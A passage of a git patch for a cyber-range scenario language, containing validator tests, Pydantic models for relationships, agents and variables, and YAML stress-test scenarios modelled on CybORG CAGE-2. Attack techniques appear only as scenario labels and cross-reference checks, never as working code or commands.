CLOUD_HYBRID), + ("11. Exchange with data+accounts+ACLs", EXCHANGE_WITH_DATA), +] + + +@pytest.mark.parametrize("label,yaml_str", SCENARIOS, ids=[s[0] for s in SCENARIOS]) +def test_scenario_parses_and_validates(label, yaml_str): + """Each real-world scenario must parse and pass semantic validation.""" + scenario, error = _parse(yaml_str, label) + assert error is None, f"{label} failed: {error}" + assert scenario is not None + + # Verify the scenario has meaningful content + has_nodes = bool(scenario.nodes) + has_features = bool(scenario.features) + has_steps = bool(scenario.steps) + has_objectives = bool(scenario.objectives.red or scenario.objectives.blue) + has_stories = bool(scenario.stories) + has_entities = bool(scenario.entities) + assert any([has_nodes, has_features, has_steps, has_objectives, has_stories]), \ + f"{label} parsed but has no content" + + +@pytest.mark.parametrize("label,yaml_str", SCENARIOS, ids=[s[0] for s in SCENARIOS]) +def test_scenario_topology_integrity(label, yaml_str): + """Infrastructure references and node cross-references are consistent.""" + scenario = parse_sdl(textwrap.dedent(yaml_str)) + + # Every infra entry should match a node + for name in scenario.infrastructure: + assert name in scenario.nodes, \ + f"{label}: infra '{name}' has no matching node" + + # Every VM feature reference should exist in features + for node_name, node in scenario.nodes.items(): + for feat_name in node.features: + assert feat_name in scenario.features, \ + f"{label}: node '{node_name}' refs missing feature '{feat_name}'" + + # Every vulnerability reference should exist + for node_name, node in scenario.nodes.items(): + for vuln_name in node.vulnerabilities: + assert vuln_name in scenario.vulnerabilities, \ + f"{label}: node '{node_name}' refs missing vuln '{vuln_name}'" diff --git a/tests/test_sdl_validator.py b/tests/test_sdl_validator.py new file mode 100644 index 000000000..c94052911 --- /dev/null +++ b/tests/test_sdl_validator.py @@ -0,0 +1,429 @@ +"""Tests for SDL semantic validation.""" + +import pytest + +from aptl.core.sdl._errors import SDLValidationError +from aptl.core.sdl.scenario import Scenario +from aptl.core.sdl.validator import SemanticValidator + + +def _validate(scenario: Scenario) -> list[str]: + """Run validation and return errors (empty list = valid).""" + v = SemanticValidator(scenario) + try: + v.validate() + return [] + except SDLValidationError as e: + return e.errors + + +def _make_scenario(**kwargs) -> Scenario: + """Build a minimal valid scenario with overrides.""" + defaults = {"name": "test-scenario"} + defaults.update(kwargs) + return Scenario(**defaults) + + +# --------------------------------------------------------------------------- +# OCR cross-reference validation +# --------------------------------------------------------------------------- + + +class TestVerifyNodes: + def test_undefined_feature_reference(self): + s = _make_scenario( + nodes={ + "vm-1": { + "type": "vm", + "resources": {"ram": "1 gib", "cpu": 1}, + "features": {"nonexistent": "admin"}, + "roles": {"admin": {"username": "user"}}, + } + }, + ) + errors = _validate(s) + assert any("undefined feature" in e for e in errors) + + def test_undefined_vulnerability_on_node(self): + s = _make_scenario( + nodes={ + "vm-1": { + "type": "vm", + "resources": {"ram": "1 gib", "cpu": 1}, + "vulnerabilities": ["nonexistent"], + } + }, + ) + errors = _validate(s) + assert any("undefined vulnerability" in e for e in errors) + + def test_node_name_too_long(self): + long_name = "a" * 36 + s = _make_scenario( + nodes={ + long_name: {"type": "switch"}, + }, + ) + errors = _validate(s) + assert any("35 characters" in e for e in errors) + + +class TestVerifyInfrastructure: + def test_infra_without_matching_node(self): + s = _make_scenario( + infrastructure={"ghost": {"count": 1}}, + ) + errors = _validate(s) + assert any("does not match" in e for e in errors) + + def test_link_to_undefined_infra(self): + s = _make_scenario( + nodes={"sw": {"type": "switch"}, "vm": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}}, + infrastructure={ + "sw": {"count": 1}, + "vm": {"count": 1, "links": ["nonexistent"]}, + }, + ) + errors = _validate(s) + assert any("undefined" in e for e in errors) + + def test_switch_count_exceeds_one(self): + s = _make_scenario( + nodes={"sw": {"type": "switch"}}, + infrastructure={"sw": {"count": 2}}, + ) + errors = _validate(s) + assert any("count > 1" in e for e in errors) + + +class TestVerifyFeatures: + def test_feature_dependency_cycle(self): + s = _make_scenario( + features={ + "a": {"type": "service", "dependencies": ["b"]}, + "b": {"type": "service", "dependencies": ["a"]}, + }, + ) + errors = _validate(s) + assert any("cycle" in e for e in errors) + + def test_feature_references_undefined_vuln(self): + s = _make_scenario( + features={ + "f": {"type": "service", "vulnerabilities": ["missing"]}, + }, + ) + errors = _validate(s) + assert any("undefined vulnerability" in e for e in errors) + + def test_valid_feature_dependencies(self): + s = _make_scenario( + features={ + "a": {"type": "service"}, + "b": {"type": "configuration", "dependencies": ["a"]}, + }, + ) + errors = _validate(s) + assert not errors + + +class TestVerifyMetrics: + def test_conditional_metric_references_undefined_condition(self): + s = _make_scenario( + conditions={"c1": {"command": "/bin/check", "interval": 30}}, + metrics={ + "m1": {"type": "conditional", "max_score": 10, "condition": "missing"}, + }, + ) + errors = _validate(s) + assert any("undefined condition" in e for e in errors) + + def test_duplicate_condition_reference(self): + s = _make_scenario( + conditions={"c1": {"command": "/bin/check", "interval": 30}}, + metrics={ + "m1": {"type": "conditional", "max_score": 10, "condition": "c1"}, + "m2": {"type": "conditional", "max_score": 10, "condition": "c1"}, + }, + ) + errors = _validate(s) + assert any("multiple metrics" in e for e in errors) + + +class TestVerifyEvaluations: + def test_references_undefined_metric(self): + s = _make_scenario( + evaluations={ + "e1": {"metrics": ["missing"], "min_score": {"percentage": 50}}, + }, + ) + errors = _validate(s) + assert any("undefined metric" in e for e in errors) + + def test_absolute_min_score_exceeds_max(self): + s = _make_scenario( + conditions={"c1": {"command": "/check", "interval": 10}}, + metrics={"m1": {"type": "conditional", "max_score": 10, "condition": "c1"}}, + evaluations={ + "e1": {"metrics": ["m1"], "min_score": {"absolute": 100}}, + }, + ) + errors = _validate(s) + assert any("exceeds" in e for e in errors) + + +class TestVerifyTLOs: + def test_references_undefined_evaluation(self): + s = _make_scenario( + tlos={"t1": {"evaluation": "missing"}}, + ) + errors = _validate(s) + assert any("undefined evaluation" in e for e in errors) + + +class TestVerifyGoals: + def test_references_undefined_tlo(self): + s = _make_scenario( + goals={"g1": {"tlos": ["missing"]}}, + ) + errors = _validate(s) + assert any("undefined TLO" in e for e in errors) + + +class TestVerifyEntities: + def test_entity_references_undefined_tlo(self): + s = _make_scenario( + entities={"team": {"tlos": ["missing"]}}, + ) + errors = _validate(s) + assert any("undefined TLO" in e for e in errors) + + +class TestVerifyInjects: + def test_inject_references_undefined_entity(self): + s = _make_scenario( + entities={"red": {"role": "red"}}, + injects={ + "inj": {"from_entity": "red", "to_entities": ["missing"]}, + }, + ) + errors = _validate(s) + assert any("not a defined entity" in e for e in errors) + + +class TestVerifyEvents: + def test_event_references_undefined_condition(self): + s = _make_scenario( + events={"e1": {"conditions": ["missing"]}}, + ) + errors = _validate(s) + assert any("undefined condition" in e for e in errors) + + +class TestVerifyScripts: + def test_script_references_undefined_event(self): + s = _make_scenario( + scripts={ + "s1": { + "start_time": 0, + "end_time": 3600, + "speed": 1.0, + "events": {"missing": 600}, + } + }, + ) + errors = _validate(s) + assert any("undefined event" in e for e in errors) + + +class TestVerifyStories: + def test_story_references_undefined_script(self): + s = _make_scenario( + stories={"st1": {"scripts": ["missing"]}}, + ) + errors = _validate(s) + assert any("undefined script" in e for e in errors) + + +# --------------------------------------------------------------------------- +# APTL extension validation +# --------------------------------------------------------------------------- + + +class TestVerifyAttackSteps: + def test_invalid_technique_id_format(self): + s = _make_scenario( + metadata={ + "id": "test", + "name": "Test", + "description": "Desc", + "difficulty": "beginner", + "estimated_minutes": 10, + }, + mode="red", + containers={"required": ["kali"]}, + objectives={"red": [{"id": "obj", "description": "D", "type": "manual", "points": 10}]}, + steps=[{ + "step_number": 1, + "technique_id": "INVALID", + "technique_name": "Test", + "tactic": "Recon", + "description": "Test", + "target": "victim", + }], + ) + errors = _validate(s) + assert any("ATT&CK format" in e for e in errors) + + +class TestVerifyMitreReferences: + def test_invalid_technique_in_metadata(self): + s = _make_scenario( + metadata={ + "id": "test", + "name": "Test", + "description": "Desc", + "difficulty": "beginner", + "estimated_minutes": 10, + "mitre_attack": {"techniques": ["INVALID"]}, + }, + mode="red", + containers={"required": ["kali"]}, + objectives={"red": [{"id": "obj", "description": "D", "type": "manual", "points": 10}]}, + ) + errors = _validate(s) + assert any("ATT&CK format" in e for e in errors) + + +class TestVerifyScenarioContent: + def test_ocr_scenario_with_nodes_passes(self): + """OCR-style scenario with just nodes is valid.""" + s = _make_scenario( + nodes={"sw": {"type": "switch"}}, + ) + errors = _validate(s) + assert not errors + + def test_empty_ocr_scenario_fails(self): + """OCR-style scenario with no content fails.""" + s = _make_scenario() + errors = _validate(s) + assert any("at least one" in e.lower() for e in errors) + + +class TestErrorCollection: + def test_multiple_errors_collected(self): + """Validator collects all errors, not just the first.""" + s = _make_scenario( + features={ + "f1": {"type": "service", "vulnerabilities": ["missing-1"]}, + "f2": {"type": "service", "vulnerabilities": ["missing-2"]}, + }, + goals={"g1": {"tlos": ["missing-tlo"]}}, + ) + errors = _validate(s) + assert len(errors) >= 3 + + +class TestVerifyContent: + def test_content_targets_undefined_node(self): + s = _make_scenario( + nodes={"vm": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}}, + content={"data": {"type": "file", "target": "ghost-node", "path": "/tmp/x"}}, + ) + errors = _validate(s) + assert any("undefined node" in e for e in errors) + + def test_valid_content_passes(self): + s = _make_scenario( + nodes={"vm": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}}, + content={"data": {"type": "file", "target": "vm", "path": "/tmp/flag"}}, + ) + errors = _validate(s) + assert not errors + + +class TestVerifyAccounts: + def test_account_references_undefined_node(self): + s = _make_scenario( + nodes={"vm": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}}, + accounts={"user": {"username": "admin", "node": "ghost-node"}}, + ) + errors = _validate(s) + assert any("undefined node" in e for e in errors) + + def test_valid_account_passes(self): + s = _make_scenario( + nodes={"vm": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}}, + accounts={"user": {"username": "admin", "node": "vm"}}, + ) + errors = _validate(s) + assert not errors + + +class TestVerifyACLs: + def test_acl_references_undefined_network(self): + s = _make_scenario( + nodes={"sw": {"type": "switch"}}, + infrastructure={ + "sw": { + "count": 1, + "properties": {"cidr": "10.0.0.0/24", "gateway": "10.0.0.1"}, + "acls": [{"direction": "in", "from_net": "ghost-net", "action": "deny"}], + }, + }, + ) + errors = _validate(s) + assert any("undefined network" in e for e in errors) + + +class TestFeatureListShorthand: + def test_features_as_list_with_empty_role(self): + """Nodes with features as list (no role) should validate.""" + from aptl.core.sdl import parse_sdl + s = parse_sdl(""" +name: shorthand-test +nodes: + vm: + type: VM + resources: {ram: 1 gib, cpu: 1} + features: [svc-a, svc-b] +features: + svc-a: {type: Service, source: pkg-a} + svc-b: {type: Service, source: pkg-b} +""") + assert "svc-a" in s.nodes["vm"].features + assert s.nodes["vm"].features["svc-a"] == "" + + +class TestValidFullScenario: + def test_complete_ocr_scenario_validates(self): + """A complete OCR-style scenario passes validation.""" + s = Scenario( + name="full-test", + nodes={ + "sw": {"type": "switch"}, + "vm": { + "type": "vm", + "resources": {"ram": "2 gib", "cpu": 1}, + "features": {"svc": "admin"}, + "conditions": {"check": "admin"}, + "roles": {"admin": {"username": "user"}}, + }, + }, + infrastructure={ + "sw": {"count": 1, "properties": {"cidr": "10.0.0.0/24", "gateway": "10.0.0.1"}}, + "vm": {"count": 1, "links": ["sw"]}, + }, + features={"svc": {"type": "service", "source": {"name": "apache"}}}, + conditions={"check": {"command": "/bin/check", "interval": 30}}, + metrics={"m1": {"type": "conditional", "max_score": 10, "condition": "check"}}, + evaluations={"e1": {"metrics": ["m1"], "min_score": {"percentage": 50}}}, + tlos={"t1": {"evaluation": "e1"}}, + goals={"g1": {"tlos": ["t1"]}}, + entities={ + "blue": {"role": "blue", "tlos": ["t1"]}, + }, + ) + errors = _validate(s) + assert not errors From feb94f62973a52371b05e8010d492b4994a95655 Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Sat, 28 Mar 2026 22:11:47 -0700 Subject: [PATCH 06/15] Extend SDL for identity, agents, and parameterization --- CHANGELOG.md | 12 ++ src/aptl/core/sdl/agents.py | 48 ++++++ src/aptl/core/sdl/parser.py | 16 +- src/aptl/core/sdl/relationships.py | 55 +++++++ src/aptl/core/sdl/scenario.py | 8 +- src/aptl/core/sdl/validator.py | 82 ++++++++++ src/aptl/core/sdl/variables.py | 46 ++++++ tests/test_sdl_models.py | 84 ++++++++++ tests/test_sdl_stress.py | 245 +++++++++++++++++++++++++++++ tests/test_sdl_validator.py | 93 +++++++++++ 10 files changed, 682 insertions(+), 7 deletions(-) create mode 100644 src/aptl/core/sdl/agents.py create mode 100644 src/aptl/core/sdl/relationships.py create mode 100644 src/aptl/core/sdl/variables.py diff --git a/CHANGELOG.md b/CHANGELOG.md index 4a1fe9610..f8d866bfd 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,18 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [5.2.0] - 2026-03-29 + +### Added + +- SDL `relationships` section for typed directed edges between scenario elements — adapted from STIX 2.1 Relationship SROs. Supports `authenticates_with`, `trusts`, `federates_with`, `connects_to`, `depends_on`, `manages`, `replicates_to` with free-form properties dict for type-specific metadata (trust_type, protocol, etc.). This is how identity/directory/trust emerges: accounts describe *who*, features describe *what provides auth*, relationships describe *how they connect* +- SDL `agents` section for autonomous scenario participants — adapted from CybORG CAGE Challenge agent definitions. Each agent has an entity reference (team/role), available actions, starting accounts, initial knowledge (known hosts/subnets), and allowed subnet scope. Agent specifications are framework-agnostic (no Gymnasium coupling) +- SDL `variables` section for scenario parameterization — adapted from CACAO v2.0 playbook_variables. Named variables with types (string/integer/boolean/number), defaults, descriptions, and allowed_values. Variables are stored as `${name}` strings in the model and resolved at instantiation time, not parse time +- Semantic validator passes: `verify_relationships` (source/target resolve to any named element), `verify_agents` (entity/account/subnet/host references resolve), `verify_variables` (structural validation) +- Source expansion now correctly skips `relationships` and `agents` sections where `source` is a string reference, not a package Source +- Stress test scenarios 12 (CybORG CAGE-2 with red/blue/green agents, starting accounts, initial knowledge) and 13 (multi-domain AD with parent-child trust, ADFS federation, and parameterized variables) +- 25 new tests for relationship, agent, and variable models and cross-reference validation + ## [5.1.0] - 2026-03-29 ### Added diff --git a/src/aptl/core/sdl/agents.py b/src/aptl/core/sdl/agents.py new file mode 100644 index 000000000..278c7964a --- /dev/null +++ b/src/aptl/core/sdl/agents.py @@ -0,0 +1,48 @@ +"""Agent models — autonomous participants in the scenario. + +Adapted from CybORG's Agents section. An agent has a role (from +entities), available actions, initial authenticated access (via +accounts), initial knowledge of the environment, and network +scope constraints. + +The SDL specifies *what's available* to each agent, not *how* +the agent executes. Framework bindings (Gymnasium, PettingZoo) +are a deployment-layer concern. +""" + +from pydantic import Field + +from aptl.core.sdl._base import SDLModel + + +class InitialKnowledge(SDLModel): + """What an agent knows about the scenario at start time. + + Adapted from CybORG's INT (Initial Network Topology). + Specifies which hosts, subnets, services, and accounts + the agent has knowledge of before the scenario begins. + """ + + hosts: list[str] = Field(default_factory=list) + subnets: list[str] = Field(default_factory=list) + services: list[str] = Field(default_factory=list) + accounts: list[str] = Field(default_factory=list) + + +class Agent(SDLModel): + """An autonomous participant in the scenario. + + Agents reference existing scenario elements: + - ``entity`` links to the entities section (team/role) + - ``starting_accounts`` links to the accounts section + - ``allowed_subnets`` links to infrastructure entries + - ``initial_knowledge`` references nodes and infrastructure + """ + + entity: str = "" + description: str = "" + actions: list[str] = Field(default_factory=list) + starting_accounts: list[str] = Field(default_factory=list) + initial_knowledge: InitialKnowledge | None = None + allowed_subnets: list[str] = Field(default_factory=list) + reward_calculator: str = "" diff --git a/src/aptl/core/sdl/parser.py b/src/aptl/core/sdl/parser.py index 6d82fcfb7..666908ef5 100644 --- a/src/aptl/core/sdl/parser.py +++ b/src/aptl/core/sdl/parser.py @@ -24,7 +24,7 @@ "nodes", "infrastructure", "features", "conditions", "vulnerabilities", "metrics", "evaluations", "tlos", "goals", "entities", "injects", "events", "scripts", "stories", - "content", "accounts", + "content", "accounts", "relationships", "agents", "variables", }) # Fields within struct models that are also HashMaps of user-defined keys. @@ -119,18 +119,22 @@ def _expand_min_score(value: Any) -> Any: def _expand_shorthands(data: dict[str, Any]) -> dict[str, Any]: """Apply all shorthand expansions to normalized data.""" - # Expand sources throughout the tree - def expand_sources(obj: Any) -> Any: + # Sections where "source" is a plain string reference, NOT a Source package. + _SOURCE_SKIP_SECTIONS = frozenset({"relationships", "agents"}) + + def expand_sources(obj: Any, skip: bool = False) -> Any: if isinstance(obj, dict): result = {} for k, v in obj.items(): - if k == "source": + if k == "source" and not skip: result[k] = _expand_source(v) else: - result[k] = expand_sources(v) + # Once inside a skip section, stay skipped for all descendants + child_skip = skip or k in _SOURCE_SKIP_SECTIONS + result[k] = expand_sources(v, skip=child_skip) return result if isinstance(obj, list): - return [expand_sources(item) for item in obj] + return [expand_sources(item, skip=skip) for item in obj] return obj data = expand_sources(data) diff --git a/src/aptl/core/sdl/relationships.py b/src/aptl/core/sdl/relationships.py new file mode 100644 index 000000000..d92191458 --- /dev/null +++ b/src/aptl/core/sdl/relationships.py @@ -0,0 +1,55 @@ +"""Relationship models — typed directed edges between scenario elements. + +Adapted from STIX 2.1 Relationship SROs and OCR's dependency patterns. +Provides a general-purpose mechanism for expressing how services, +nodes, and accounts relate to each other — authentication chains, +trust relationships, federation, and connectivity. + +This is how identity emerges in the SDL: accounts describe *who*, +features describe *what provides auth*, and relationships describe +*how they connect*. +""" + +from enum import Enum + +from pydantic import Field, field_validator + +from aptl.core.sdl._base import SDLModel, normalize_enum_value + + +class RelationshipType(str, Enum): + """How two scenario elements relate to each other.""" + + AUTHENTICATES_WITH = "authenticates_with" + TRUSTS = "trusts" + FEDERATES_WITH = "federates_with" + CONNECTS_TO = "connects_to" + DEPENDS_ON = "depends_on" + MANAGES = "manages" + REPLICATES_TO = "replicates_to" + + +class Relationship(SDLModel): + """A typed directed edge between two named scenario elements. + + Source and target can reference any named element in the scenario: + nodes, features, accounts, entities, or infrastructure entries. + The validator checks that both endpoints resolve. + + The ``properties`` dict carries type-specific metadata (e.g., + ``trust_type: parent-child`` for AD trusts, ``protocol: SAML`` + for federation). It's a flat dict rather than typed sub-models + because relationship properties vary widely and we don't want + to gate expressiveness on pre-modeling every variant. + """ + + type: RelationshipType + source: str + target: str + description: str = "" + properties: dict[str, str] = Field(default_factory=dict) + + @field_validator("type", mode="before") + @classmethod + def normalize_type(cls, v: str) -> str: + return normalize_enum_value(v) diff --git a/src/aptl/core/sdl/scenario.py b/src/aptl/core/sdl/scenario.py index 0f13ffa12..051da63d2 100644 --- a/src/aptl/core/sdl/scenario.py +++ b/src/aptl/core/sdl/scenario.py @@ -14,6 +14,7 @@ from aptl.core.sdl._base import SDLModel from aptl.core.sdl.accounts import Account +from aptl.core.sdl.agents import Agent from aptl.core.sdl.attacks import AttackStep, MitreReference from aptl.core.sdl.conditions import Condition from aptl.core.sdl.content import Content @@ -24,7 +25,9 @@ from aptl.core.sdl.nodes import Node from aptl.core.sdl.objectives import ObjectiveSet, ScoringConfig from aptl.core.sdl.orchestration import Event, Inject, Script, Story +from aptl.core.sdl.relationships import Relationship from aptl.core.sdl.scoring import Evaluation, Goal, Metric, TLO +from aptl.core.sdl.variables import Variable from aptl.core.sdl.vulnerabilities import Vulnerability _SLUG_PATTERN = re.compile(r"^[a-z0-9]+(?:-[a-z0-9]+)*$") @@ -159,9 +162,12 @@ class Scenario(SDLModel): scripts: dict[str, Script] = Field(default_factory=dict) stories: dict[str, Story] = Field(default_factory=dict) - # --- New sections (G1, G2) --- + # --- New sections (G1, G2, identity, agents, params) --- content: dict[str, Content] = Field(default_factory=dict) accounts: dict[str, Account] = Field(default_factory=dict) + relationships: dict[str, Relationship] = Field(default_factory=dict) + agents: dict[str, Agent] = Field(default_factory=dict) + variables: dict[str, Variable] = Field(default_factory=dict) # --- APTL extensions --- metadata: Optional[ScenarioMetadata] = None diff --git a/src/aptl/core/sdl/validator.py b/src/aptl/core/sdl/validator.py index 2f546aa86..10b50073e 100644 --- a/src/aptl/core/sdl/validator.py +++ b/src/aptl/core/sdl/validator.py @@ -82,6 +82,9 @@ def validate(self) -> None: # New section passes self._verify_content() self._verify_accounts() + self._verify_relationships() + self._verify_agents() + self._verify_variables() # APTL passes self._verify_objectives() @@ -217,6 +220,85 @@ def _verify_accounts(self) -> None: f"Account '{name}' references undefined node '{acct.node}'" ) + def _verify_relationships(self) -> None: + all_names = self._all_named_elements() + for name, rel in self._s.relationships.items(): + if rel.source not in all_names: + self._err( + f"Relationship '{name}' source '{rel.source}' " + f"does not reference any defined element" + ) + if rel.target not in all_names: + self._err( + f"Relationship '{name}' target '{rel.target}' " + f"does not reference any defined element" + ) + + def _verify_agents(self) -> None: + flat_entity_names = set(flatten_entities(self._s.entities).keys()) + flat_entity_names.update(self._s.entities.keys()) + + for name, agent in self._s.agents.items(): + if agent.entity and agent.entity not in flat_entity_names: + self._err( + f"Agent '{name}' references undefined entity '{agent.entity}'" + ) + for acct_name in agent.starting_accounts: + if acct_name not in self._s.accounts: + self._err( + f"Agent '{name}' starting_account '{acct_name}' " + f"not in accounts section" + ) + for subnet in agent.allowed_subnets: + if subnet not in self._s.infrastructure: + self._err( + f"Agent '{name}' allowed_subnet '{subnet}' " + f"not in infrastructure section" + ) + if agent.initial_knowledge: + for host in agent.initial_knowledge.hosts: + if host not in self._s.nodes: + self._err( + f"Agent '{name}' initial_knowledge host '{host}' " + f"not in nodes section" + ) + for subnet in agent.initial_knowledge.subnets: + if subnet not in self._s.infrastructure: + self._err( + f"Agent '{name}' initial_knowledge subnet '{subnet}' " + f"not in infrastructure section" + ) + + def _verify_variables(self) -> None: + # Variable definitions are structurally validated by Pydantic. + # Cross-reference validation (checking ${var} references in other + # sections) is deferred to instantiation time because variable + # substitution strings can appear in any string field. + pass + + def _all_named_elements(self) -> set[str]: + """Collect all named element keys across all scenario sections.""" + names: set[str] = set() + names.update(self._s.nodes.keys()) + names.update(self._s.features.keys()) + names.update(self._s.conditions.keys()) + names.update(self._s.vulnerabilities.keys()) + names.update(self._s.infrastructure.keys()) + names.update(self._s.metrics.keys()) + names.update(self._s.evaluations.keys()) + names.update(self._s.tlos.keys()) + names.update(self._s.goals.keys()) + names.update(self._s.entities.keys()) + names.update(flatten_entities(self._s.entities).keys()) + names.update(self._s.injects.keys()) + names.update(self._s.events.keys()) + names.update(self._s.scripts.keys()) + names.update(self._s.stories.keys()) + names.update(self._s.content.keys()) + names.update(self._s.accounts.keys()) + names.update(self._s.agents.keys()) + return names + def _verify_features(self) -> None: # Check vulnerability references for name, feat in self._s.features.items(): diff --git a/src/aptl/core/sdl/variables.py b/src/aptl/core/sdl/variables.py new file mode 100644 index 000000000..a781f8e3e --- /dev/null +++ b/src/aptl/core/sdl/variables.py @@ -0,0 +1,46 @@ +"""Variable models — scenario parameterization. + +Adapted from CACAO v2.0 playbook_variables. Named variables with +types, defaults, and descriptions that can be referenced throughout +the scenario via ``${var_name}`` substitution syntax. + +Variables are NOT resolved at parse time. The SDL parser stores +``${var_name}`` strings as-is in the model. Resolution happens +at instantiation time when a backend deploys the scenario. +""" + +from enum import Enum +from typing import Union + +from pydantic import Field, field_validator + +from aptl.core.sdl._base import SDLModel, normalize_enum_value + + +class VariableType(str, Enum): + """Data type of a variable.""" + + STRING = "string" + INTEGER = "integer" + BOOLEAN = "boolean" + NUMBER = "number" + + +class Variable(SDLModel): + """A named variable for scenario parameterization. + + Variables define configurable parameters with types, defaults, + and optional value constraints. They're referenced in other + sections via ``${variable_name}`` syntax. + """ + + type: VariableType + default: Union[str, int, float, bool, None] = None + description: str = "" + allowed_values: list[Union[str, int, float, bool]] = Field(default_factory=list) + required: bool = False + + @field_validator("type", mode="before") + @classmethod + def normalize_type(cls, v: str) -> str: + return normalize_enum_value(v) diff --git a/tests/test_sdl_models.py b/tests/test_sdl_models.py index 13ee9d7f4..c8dd5c769 100644 --- a/tests/test_sdl_models.py +++ b/tests/test_sdl_models.py @@ -553,3 +553,87 @@ def test_default_not_internal(self): from aptl.core.sdl.infrastructure import SimpleProperties p = SimpleProperties(cidr="10.0.0.0/24", gateway="10.0.0.1") assert p.internal is False + + +# --------------------------------------------------------------------------- +# Relationships, Agents, Variables (G10, G11, Identity) +# --------------------------------------------------------------------------- + +from aptl.core.sdl.agents import Agent, InitialKnowledge +from aptl.core.sdl.relationships import Relationship, RelationshipType +from aptl.core.sdl.variables import Variable, VariableType + + +class TestRelationship: + def test_authenticates_with(self): + r = Relationship(type="authenticates_with", source="exchange", target="ad-ds") + assert r.type == RelationshipType.AUTHENTICATES_WITH + + def test_trusts_with_properties(self): + r = Relationship( + type="trusts", source="child-domain", target="parent-domain", + properties={"trust_type": "parent-child", "trust_direction": "bidirectional"}, + ) + assert r.properties["trust_type"] == "parent-child" + + def test_connects_to(self): + r = Relationship(type="connects_to", source="webapp", target="db", + properties={"protocol": "tcp", "port": "5432"}) + assert r.source == "webapp" + + def test_federates_with(self): + r = Relationship(type="federates_with", source="adfs", target="azure-ad", + properties={"protocol": "SAML"}) + assert r.type == RelationshipType.FEDERATES_WITH + + +class TestAgent: + def test_basic_agent(self): + a = Agent(entity="red-team", actions=["Scan", "Exploit"]) + assert len(a.actions) == 2 + + def test_agent_with_starting_accounts(self): + a = Agent( + entity="red-team", + starting_accounts=["phished-user"], + allowed_subnets=["user-net"], + ) + assert a.starting_accounts == ["phished-user"] + + def test_agent_with_initial_knowledge(self): + a = Agent( + entity="blue-team", + initial_knowledge=InitialKnowledge( + hosts=["defender", "server1"], + subnets=["enterprise-net"], + ), + ) + assert len(a.initial_knowledge.hosts) == 2 + + def test_initial_knowledge_defaults(self): + ik = InitialKnowledge() + assert ik.hosts == [] + assert ik.subnets == [] + + +class TestVariable: + def test_string_variable(self): + v = Variable(type="string", default="techvault.local", description="Domain name") + assert v.type == VariableType.STRING + + def test_integer_variable(self): + v = Variable(type="integer", default=5) + assert v.default == 5 + + def test_variable_with_allowed_values(self): + v = Variable(type="string", default="weak", allowed_values=["weak", "medium", "strong"]) + assert len(v.allowed_values) == 3 + + def test_required_variable(self): + v = Variable(type="string", required=True) + assert v.required is True + assert v.default is None + + def test_boolean_variable(self): + v = Variable(type="boolean", default=True) + assert v.type == VariableType.BOOLEAN diff --git a/tests/test_sdl_stress.py b/tests/test_sdl_stress.py index ffdf01cfc..2dbf0c1b8 100644 --- a/tests/test_sdl_stress.py +++ b/tests/test_sdl_stress.py @@ -1303,6 +1303,249 @@ def _parse(yaml_str: str, label: str): """ +# ----------------------------------------------------------------------- +# 12. CybORG CAGE-2 with agents, relationships, accounts +# ----------------------------------------------------------------------- + +CYBORG_WITH_AGENTS = """ +name: cyborg-cage2-agents +description: > + CybORG CAGE-2 with red/blue/green agents, starting accounts, + initial knowledge, allowed subnets, and service relationships. + +nodes: + user-net: {type: Switch} + enterprise-net: {type: Switch} + op-net: {type: Switch} + user0: {type: VM, os: linux, resources: {ram: 1 gib, cpu: 1}} + user1: {type: VM, os: linux, resources: {ram: 1 gib, cpu: 1}} + enterprise0: {type: VM, os: linux, resources: {ram: 1 gib, cpu: 1}, vulnerabilities: [eternalblue]} + enterprise1: {type: VM, os: linux, resources: {ram: 1 gib, cpu: 1}} + defender: {type: VM, os: linux, resources: {ram: 2 gib, cpu: 2}, features: {velociraptor: velo-admin}, roles: {velo-admin: ubuntu}} + op-server0: {type: VM, os: linux, resources: {ram: 1 gib, cpu: 1}} + +infrastructure: + user-net: {count: 1, properties: {cidr: 10.0.0.0/24, gateway: 10.0.0.1}} + enterprise-net: {count: 1, properties: {cidr: 10.0.1.0/24, gateway: 10.0.1.1}} + op-net: {count: 1, properties: {cidr: 10.0.2.0/24, gateway: 10.0.2.1, internal: true}} + user0: {count: 1, links: [user-net]} + user1: {count: 1, links: [user-net]} + enterprise0: {count: 1, links: [enterprise-net, user-net]} + enterprise1: {count: 1, links: [enterprise-net]} + defender: {count: 1, links: [enterprise-net]} + op-server0: {count: 1, links: [op-net, enterprise-net]} + +features: + velociraptor: {type: Service, source: velociraptor-server} + +vulnerabilities: + eternalblue: {name: EternalBlue, description: MS17-010, technical: true, class: CWE-119} + +accounts: + phished-user: + username: jdoe + node: user0 + password_strength: weak + description: "Initial foothold via spearphishing" + soc-admin: + username: soc-analyst + node: defender + password_strength: strong + green-user: + username: employee + node: user0 + password_strength: medium + +entities: + red-team: {name: Red Team, role: Red} + blue-team: + name: Blue Team + role: Blue + entities: + analyst: {name: SOC Analyst} + green-team: {name: Normal Users, role: Green} + +agents: + red-agent: + entity: red-team + actions: [DiscoverRemoteSystems, DiscoverNetworkServices, ExploitRemoteService, EternalBlue, SSHBruteForce, PrivilegeEscalate, Impact] + starting_accounts: [phished-user] + initial_knowledge: + hosts: [user0] + subnets: [user-net] + allowed_subnets: [user-net, enterprise-net] + reward_calculator: HybridImpactPwn + + blue-agent: + entity: blue-team.analyst + actions: [Monitor, Analyse, Remove, Restore, DecoyApache, DecoySSHD] + starting_accounts: [soc-admin] + initial_knowledge: + hosts: [defender, enterprise0, enterprise1, user0, user1] + subnets: [user-net, enterprise-net, op-net] + allowed_subnets: [user-net, enterprise-net, op-net] + reward_calculator: HybridAvailabilityConfidentiality + + green-agent: + entity: green-team + actions: [NormalBrowsing, EmailCheck, FileAccess] + starting_accounts: [green-user] + allowed_subnets: [user-net] + description: "Simulates normal user behavior" + +relationships: + velo-monitors-enterprise: + type: manages + source: velociraptor + target: enterprise0 + description: "Velociraptor monitors enterprise hosts" +""" + + +# ----------------------------------------------------------------------- +# 13. Multi-domain AD with trust, federation, and 